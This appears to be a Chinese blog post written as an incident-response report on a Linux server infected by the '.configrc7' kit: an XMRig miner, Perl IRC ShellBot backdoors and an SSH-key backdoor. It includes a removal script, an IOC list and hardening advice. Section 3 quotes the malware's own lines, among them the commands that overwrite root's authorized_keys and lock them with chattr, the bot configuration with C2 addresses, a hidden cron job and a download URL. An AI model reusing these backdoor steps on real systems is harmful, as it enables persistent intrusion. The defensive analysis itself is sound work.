标签:#Linux安全 #挖矿木马 #后门清除 #应急响应
0. 写在前面
今天下午收到两条云厂商告警:服务器在非常用地登录,并且开始对外发起 TCP:22 攻击,平台直接把这台 ECS 的出站 22 端口封了。登上机器一看,CPU 没飙高,但 /root 下多了两个隐藏目录:.configrc7 和 .ssh。随后的静态分析让我有点意外——这已经不是单纯的挖矿脚本了,而是挖矿 + IRC 远控后门 + SSH 公钥后门 + 看门狗 + 日志擦除的组合套件。本文记录从发现、分析到清除的完整过程,并放出可直接使用的专杀脚本。
核心结论前置: 这台服务器已被取得 root,且存在多条持久化通道。清完样本≠安全,必须改密码、换密钥、排查所有后门,必要时重装。
1. 事发:云平台的连环告警
先上两张告警截图。


收到第一条“异常登录”时我还在想是不是自己忘了关代理;第二条“对外攻击 TCP:22”基本坐实:机器被黑,并且黑客在拿它继续横向扫描/爆破其他服务器。平台把出向 22 端口封到次日,等于强制把我按在桌前处理。
2. 现场勘查:两个不起眼的隐藏目录
登录服务器后第一步看 /root,因为告警是 root 登录。很快发现两个异常目录:


注意两个细节:
我先把这个目录树打包下载到本地分析环境,全程只读静态分析,绝不执行任何样本。
3. 样本静态分析:一个“套餐”式病毒
样本结构如下(在被感染服务器上的路径为 /root/.configrc7):
/root/.configrc7/
├── a/ # 挖矿组件
│ ├── crond # 主挖矿二进制(UPX 打包的 XMRig 家族 ELF,2.2MB)
│ ├── cert.pem # 自签名证书(CN=localhost)
│ ├── cert_key.pem
│ ├── run # 启动脚本:stop -> nohup ./crond -> 写 bash.pid
│ ├── stop # 杀掉竞品/历史挖矿进程名
│ ├── upd # 看门狗,被杀后自动重启 ./run
│ ├── a # 安装器:写 MSR、配大页、设 /usr/bin 只读
│ ├── init01/init02 # 批量清理其它挖矿木马
│ ├── delsshd # 清理竞品启动项
│ └── rmkwork # 日志擦除 + 下载二级载荷 kw0rker
├── b/ # 后门组件
│ ├── run # 自解压脚本:内嵌 3 个 Perl IRC bot + 安装 SSH 公钥
│ ├── a # 入口:cd /root/.configrc7/b; ./run
│ ├── stop # 清场:杀 edac0 / sync / ps / pool 等
│ └── sync # 看门狗
└── cron.d # 持久化计划任务
3.1 挖矿组件 a/
a/crond 是 UPX 打包的 ELF,体积 2.2MB,运行后进程名显示为 crond(伪装)。通过 strings 可看到 msr/xmr/pool 及 UPX 特征,确认是 XMRig 门罗币挖矿程序。配套脚本做了 XMRig 典型的 CPU 调优:
# 来自 a/a 中的 optimize_func
wrmsr -a 0xc0011020 0x4400000000000 # AMD Zen 寄存器调优
wrmsr -a 0x1a4 0xf # Intel 禁用预取
sysctl -w vm.nr_hugepages=$(nproc) # 大页内存
a/run 负责启动:./stop 先清场 → nohup ./crond 挖矿 → 把 PID 写进 bash.pid。a/upd 作为看门狗,每分钟检查 PID 是否存活,死了就重启。
3.2 IRC 后门组件 b/
b/run 表面上是个 111KB 的 shell 脚本,开头三行:
#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
随后 echo 出三段 base64,解码后是 3 个 Perl “Stealth ShellBot” IRC 后门:
my $processo = 'edac0'; # 伪装进程名
$servidor='0xB32B8B53'; # 十六进制编码的 IP = 179.43.139.83
my $porta='443';
my @canais=("#001"); # IRC 频道
my @adms=("molly","polly"); # 管理员昵称
三个后门分别指向:
| 179.43.139.83 | 443 | #001 | edac0 |
| 179.43.139.83 | 443 | #001 | edac0 |
| 209.99.186.7 | 443 | #009 | edac0 |
也就是说,机器不只是被挖矿,还被并入了 IRC 僵尸网络,随时可能被下发 DDoS、下载、反弹 shell 等指令。
更狠的是 b/run 末尾这几行:
chattr -ia -R ~/.ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4…== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
chattr +ia -R ~/.ssh
直接重写 root 的 authorized_keys 并加 immutable 锁。这就是告警里“异常登录”的来源——黑客给自己留了永久 SSH 通道,改密码都拦不住。
3.3 第三处隐藏载荷
cron.d 里还藏了一条:
0 0 */3 * * /tmp/.X291-unix/.rsync/c/aptitude >/dev/null 2>&1
这是独立于 a/b 的第三段持久化,说明 /tmp/.X291-unix 下也可能有载荷,需要一并清理。
3.4 持久化与反清理手段
样本把 Linux 下能用的反清理手段基本用了一遍:
4. 处置:专杀脚本 configrc7_killer.sh
基于以上 IOC,我写了一个专杀脚本。设计原则:
- 按路径/命令行精确匹配,不误杀系统正常 crond;
- 先恢复环境(chattr、/usr/bin 写权限),再删文件;
- 仅删除攻击者 SSH 公钥,保留用户自己的合法 key;
- 支持 DRYRUN=1 先演练,支持 QUARANTINE=1 隔离不删除。
脚本逻辑:
1. 恢复 /usr/bin 写权限,还原被重命名的 chattr (lkei)
2. chattr -iaR 解除已知路径的不可变属性
3. 按 exe/cwd/cmdline 杀恶意进程,并按 C2 连接补刀
4. 删除/隔离 /root/.configrc7、/tmp/.X291-unix、/usr/bin/systemtd
5. 清理攻击者 SSH 公钥,修正 .ssh 权限
6. 清理 crontab 持久化
7. iptables 阻断 C2 IP
8. 验证残留
核心代码片段(完整脚本见附件或文末链接):
# 精确杀进程,不误伤系统 crond
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
exe=$(readlink /proc/$pid/exe 2>/dev/null)
cwd=$(readlink /proc/$pid/cwd 2>/dev/null)
cmd=$(tr '\\0' ' ' < /proc/$pid/cmdline 2>/dev/null)
case "$exe" in *".configrc7"*|*".X291-unix"*) kill -9 $pid;; esac
case "$cwd" in *".configrc7"*|*".X291-unix"*) kill -9 $pid;; esac
case "$cmd" in *".configrc7"*|"edac0"*|"kw0rker"*) kill -9 $pid;; esac
done
# 仅删除攻击者公钥(保留合法 key)
ATTACKER_KEY="AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4"
grep -vF "$ATTACKER_KEY" "$f" > "$f.tmp" && mv "$f.tmp" "$f"
使用方法
# 0. 以 root 上传到被感染服务器
chmod +x configrc7_killer.sh
# 1. 先只读演练
DRYRUN=1 bash configrc7_killer.sh
# 2. 正式清除
bash configrc7_killer.sh
# 3. 若想保留样本做进一步分析
QUARANTINE=1 bash configrc7_killer.sh
执行后查看 /var/log/configrc7_killer.log 与 verify() 输出,确认无残留进程和 crontab。
5. 清除后的必做善后
再次强调:样本被清掉不等于机器安全。 因为它已取得 root 并植入了 SSH 后门,理论上可以写任意文件、改任意配置。清除样本后必须做:
6. 复盘与防御建议
这次入侵的入口最可能是 SSH 弱口令 / 密钥泄露。防御建议:
- 禁止 root 密码登录,改用密钥登录;
- 修改默认 22 端口,或限制来源 IP;
- 安装 fail2ban / 云厂商安全组做登录频次限制;
- 敏感服务器关闭公网 SSH,改走跳板机 / 堡垒机;
- 定期备份 + 监控 /root /tmp /var/tmp 下异常隐藏目录;
- 重要业务资产启用防篡改(但不是靠 chattr +ia 这种可绕过的小技巧)。
附录:完整 IOC 清单
| 安装目录 | /root/.configrc7/a/、/root/.configrc7/b/ |
| 隐藏载荷 | /tmp/.X291-unix/.rsync/c/aptitude |
| 挖矿进程 | 真实路径含 .configrc7/a/crond,进程名伪装为 crond |
| IRC bot 进程 | 伪装进程名 edac0 |
| SSH 后门公钥 | ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4…== mdrfckr |
| 看门狗 | /root/.configrc7/a/upd、/root/.configrc7/b/sync |
| 诱饵/锁文件 | /usr/bin/systemtd、被重命名的 /usr/bin/lkei |
| C2 IP | 179.43.139.83:443、209.99.186.7:443 |
| 二级下载 | http://208.84.102.192/kw0rker |
| 计划任务标记 | .configrc7、.X291、/a/upd、/b/sync、aptitude |
如果你也遇到 .configrc7 这个目录,可以直接用上面的专杀脚本。如果脚本在你的发行版上跑不通,欢迎在评论区贴报错,我会持续更新。
网硕互联帮助中心




评论前必须登录!
注册